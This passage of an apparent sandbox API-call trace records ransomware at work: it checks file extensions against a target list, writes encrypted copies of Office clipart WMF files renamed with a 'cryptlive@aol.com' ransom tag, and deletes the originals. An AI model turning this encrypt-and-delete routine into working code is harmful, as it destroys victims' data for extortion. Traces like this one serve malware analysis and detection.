lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.150] SetEndOfFile (hFile=0x3a0) returned 1 [0154.174] CloseHandle (hObject=0x3a0) returned 1 [0154.174] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.174] SetEndOfFile (hFile=0x380) returned 1 [0154.471] CloseHandle (hObject=0x380) returned 1 [0154.471] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.583] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105846.wmf")) returned 1 [0154.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.584] lstrlenW (lpString=".doc") returned 4 [0154.584] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.584] lstrlenW (lpString=".docx") returned 5 [0154.584] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.584] lstrlenW (lpString=".pdf") returned 4 [0154.584] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString=".xls") returned 4 [0154.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.585] lstrlenW (lpString=".xlsx") returned 5 [0154.585] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.585] lstrlenW (lpString=".ppt") returned 4 [0154.585] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.585] lstrlenW (lpString=".zip") returned 4 [0154.585] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.585] lstrlenW (lpString=".rar") returned 4 [0154.585] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString=".bz2") returned 4 [0154.585] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString=".7z") returned 3 [0154.585] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.585] lstrlenW (lpString=".dbf") returned 4 [0154.585] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.585] lstrlenW (lpString=".1cd") returned 4 [0154.585] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.585] lstrlenW (lpString=".jpg") returned 4 [0154.585] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.585] lstrlenW (lpString=".doc") returned 4 [0154.585] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString=".docx") returned 5 [0154.585] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.585] lstrlenW (lpString=".pdf") returned 4 [0154.585] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.585] lstrlenW (lpString=".xls") returned 4 [0154.585] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.585] lstrlenW (lpString=".xlsx") returned 5 [0154.586] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.586] lstrlenW (lpString=".ppt") returned 4 [0154.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.586] lstrlenW (lpString=".zip") returned 4 [0154.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.586] lstrlenW (lpString=".rar") returned 4 [0154.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.586] lstrlenW (lpString=".bz2") returned 4 [0154.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.586] lstrlenW (lpString=".7z") returned 3 [0154.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.586] lstrlenW (lpString=".dbf") returned 4 [0154.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.586] lstrlenW (lpString=".1cd") returned 4 [0154.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105846.WMF") returned 63 [0154.586] lstrlenW (lpString=".jpg") returned 4 [0154.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.586] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.586] lstrlenW (lpString="J0107146.WMF") returned 12 [0154.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.587] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14996) returned 1 [0154.587] CloseHandle (hObject=0x380) returned 1 [0154.587] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 0x20 [0154.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.592] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.592] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.593] GetLastError () returned 0x0 [0154.593] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3a94, lpOverlapped=0x0) returned 1 [0154.595] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x3aa0, lpOverlapped=0x0) returned 1 [0154.596] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.596] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.596] SetEndOfFile (hFile=0x38c) returned 1 [0154.596] CloseHandle (hObject=0x38c) returned 1 [0154.596] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.596] SetEndOfFile (hFile=0x380) returned 1 [0154.598] CloseHandle (hObject=0x380) returned 1 [0154.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf")) returned 1 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.600] lstrlenW (lpString=".doc") returned 4 [0154.600] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.600] lstrlenW (lpString=".docx") returned 5 [0154.600] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.600] lstrlenW (lpString=".pdf") returned 4 [0154.600] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.600] lstrlenW (lpString=".xls") returned 4 [0154.600] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.601] lstrlenW (lpString=".xlsx") returned 5 [0154.601] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.601] lstrlenW (lpString=".ppt") returned 4 [0154.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.601] lstrlenW (lpString=".zip") returned 4 [0154.601] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.601] lstrlenW (lpString=".rar") returned 4 [0154.601] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString=".bz2") returned 4 [0154.601] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString=".7z") returned 3 [0154.601] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.601] lstrlenW (lpString=".dbf") returned 4 [0154.601] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.601] lstrlenW (lpString=".1cd") returned 4 [0154.601] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.601] lstrlenW (lpString=".jpg") returned 4 [0154.601] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.601] lstrlenW (lpString=".doc") returned 4 [0154.601] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString=".docx") returned 5 [0154.601] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.601] lstrlenW (lpString=".pdf") returned 4 [0154.601] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.601] lstrlenW (lpString=".xls") returned 4 [0154.601] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.601] lstrlenW (lpString=".xlsx") returned 5 [0154.601] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.601] lstrlenW (lpString=".ppt") returned 4 [0154.601] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.602] lstrlenW (lpString=".zip") returned 4 [0154.602] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.602] lstrlenW (lpString=".rar") returned 4 [0154.602] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.602] lstrlenW (lpString=".bz2") returned 4 [0154.602] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.602] lstrlenW (lpString=".7z") returned 3 [0154.602] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.602] lstrlenW (lpString=".dbf") returned 4 [0154.602] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.602] lstrlenW (lpString=".1cd") returned 4 [0154.602] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF") returned 63 [0154.602] lstrlenW (lpString=".jpg") returned 4 [0154.602] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.602] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.602] lstrlenW (lpString="J0107148.WMF") returned 12 [0154.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.603] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=20136) returned 1 [0154.603] CloseHandle (hObject=0x380) returned 1 [0154.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 0x20 [0154.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.604] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.604] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.605] GetLastError () returned 0x0 [0154.605] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x4ea8, lpOverlapped=0x0) returned 1 [0154.607] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x4eb0, lpOverlapped=0x0) returned 1 [0154.608] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.608] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.608] SetEndOfFile (hFile=0x38c) returned 1 [0154.609] CloseHandle (hObject=0x38c) returned 1 [0154.609] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.609] SetEndOfFile (hFile=0x380) returned 1 [0154.611] CloseHandle (hObject=0x380) returned 1 [0154.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0154.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.612] lstrlenW (lpString=".doc") returned 4 [0154.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.612] lstrlenW (lpString=".docx") returned 5 [0154.613] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.613] lstrlenW (lpString=".pdf") returned 4 [0154.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString=".xls") returned 4 [0154.613] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.613] lstrlenW (lpString=".xlsx") returned 5 [0154.613] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.613] lstrlenW (lpString=".ppt") returned 4 [0154.613] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.613] lstrlenW (lpString=".zip") returned 4 [0154.613] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.613] lstrlenW (lpString=".rar") returned 4 [0154.613] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString=".bz2") returned 4 [0154.613] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString=".7z") returned 3 [0154.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.613] lstrlenW (lpString=".dbf") returned 4 [0154.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.613] lstrlenW (lpString=".1cd") returned 4 [0154.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.613] lstrlenW (lpString=".jpg") returned 4 [0154.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.613] lstrlenW (lpString=".doc") returned 4 [0154.613] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString=".docx") returned 5 [0154.613] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0154.613] lstrlenW (lpString=".pdf") returned 4 [0154.613] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.613] lstrlenW (lpString=".xls") returned 4 [0154.614] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.614] lstrlenW (lpString=".xlsx") returned 5 [0154.614] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0154.614] lstrlenW (lpString=".ppt") returned 4 [0154.614] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.614] lstrlenW (lpString=".zip") returned 4 [0154.614] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.614] lstrlenW (lpString=".rar") returned 4 [0154.614] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.614] lstrlenW (lpString=".bz2") returned 4 [0154.614] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.614] lstrlenW (lpString=".7z") returned 3 [0154.614] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.614] lstrlenW (lpString=".dbf") returned 4 [0154.614] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.614] lstrlenW (lpString=".1cd") returned 4 [0154.614] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF") returned 63 [0154.614] lstrlenW (lpString=".jpg") returned 4 [0154.614] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.614] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0154.614] lstrlenW (lpString="J0107150.WMF") returned 12 [0154.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.615] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=13456) returned 1 [0154.615] CloseHandle (hObject=0x380) returned 1 [0154.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 0x20 [0154.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0154.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0154.615] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.616] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0154.616] GetLastError () returned 0x0 [0154.616] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x3490, lpOverlapped=0x0) returned 1 [0154.618] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x34a0, lpOverlapped=0x0) returned 1 [0154.619] ReadFile (in: hFile=0x380, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0154.619] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0154.620] SetEndOfFile (hFile=0x38c) returned 1 [0154.620] CloseHandle (hObject=0x38c) returned 1 [0154.620] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0154.620] SetEndOfFile (hFile=0x380) returned 1 [0154.622] CloseHandle (hObject=0x380) returned 1 [0154.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0154.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0154.623] lstrlenW (lpString="C:\\Program Files\\Microsoft 